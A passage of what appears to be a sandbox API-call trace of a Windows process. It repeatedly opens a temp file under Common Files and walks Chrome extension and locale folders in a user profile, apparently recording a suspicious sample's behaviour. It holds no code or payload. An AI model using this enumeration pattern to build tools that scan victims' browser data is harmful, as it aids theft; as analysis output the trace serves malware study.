MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.728] GetFileType (hFile=0x194) returned 0x1 [0145.728] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.729] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.729] GetLastError () returned 0x12 [0145.729] AreFileApisANSI () returned 1 [0145.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.729] GetFileType (hFile=0x194) returned 0x1 [0145.729] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.729] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.729] GetLastError () returned 0x12 [0145.729] AreFileApisANSI () returned 1 [0145.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.730] GetFileType (hFile=0x194) returned 0x1 [0145.730] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.730] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.730] GetLastError () returned 0x12 [0145.730] AreFileApisANSI () returned 1 [0145.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.730] GetFileType (hFile=0x194) returned 0x1 [0145.730] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.731] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.731] GetLastError () returned 0x12 [0145.731] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.731] GetLastError () returned 0x12 [0145.731] AreFileApisANSI () returned 1 [0145.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.731] GetFileType (hFile=0x190) returned 0x1 [0145.731] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.731] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.731] GetLastError () returned 0x12 [0145.732] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.732] GetLastError () returned 0x12 [0145.732] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.732] GetLastError () returned 0x12 [0145.732] AreFileApisANSI () returned 1 [0145.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.732] GetFileType (hFile=0x188) returned 0x1 [0145.732] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xab, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.732] AreFileApisANSI () returned 1 [0145.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.732] GetFileType (hFile=0x18c) returned 0x1 [0145.732] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.733] AreFileApisANSI () returned 1 [0145.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.733] GetFileType (hFile=0x190) returned 0x1 [0145.733] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.734] AreFileApisANSI () returned 1 [0145.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.734] GetFileType (hFile=0x194) returned 0x1 [0145.734] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.735] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.735] GetLastError () returned 0x12 [0145.735] AreFileApisANSI () returned 1 [0145.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.735] GetFileType (hFile=0x194) returned 0x1 [0145.735] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.736] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.736] GetLastError () returned 0x12 [0145.736] AreFileApisANSI () returned 1 [0145.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.736] GetFileType (hFile=0x194) returned 0x1 [0145.736] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.737] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.737] GetLastError () returned 0x12 [0145.737] AreFileApisANSI () returned 1 [0145.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.737] GetFileType (hFile=0x194) returned 0x1 [0145.737] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.737] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.738] GetLastError () returned 0x12 [0145.738] AreFileApisANSI () returned 1 [0145.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.738] GetFileType (hFile=0x194) returned 0x1 [0145.741] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.741] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.741] GetLastError () returned 0x12 [0145.741] AreFileApisANSI () returned 1 [0145.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.742] GetFileType (hFile=0x194) returned 0x1 [0145.742] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.742] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.788] GetLastError () returned 0x12 [0145.788] AreFileApisANSI () returned 1 [0145.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.788] GetFileType (hFile=0x194) returned 0x1 [0145.788] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.789] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.789] GetLastError () returned 0x12 [0145.789] AreFileApisANSI () returned 1 [0145.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.789] GetFileType (hFile=0x194) returned 0x1 [0145.789] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.789] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.789] GetLastError () returned 0x12 [0145.789] AreFileApisANSI () returned 1 [0145.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.790] GetFileType (hFile=0x194) returned 0x1 [0145.790] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.790] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.790] GetLastError () returned 0x12 [0145.790] AreFileApisANSI () returned 1 [0145.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.790] GetFileType (hFile=0x194) returned 0x1 [0145.790] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.791] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.791] GetLastError () returned 0x12 [0145.791] AreFileApisANSI () returned 1 [0145.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, 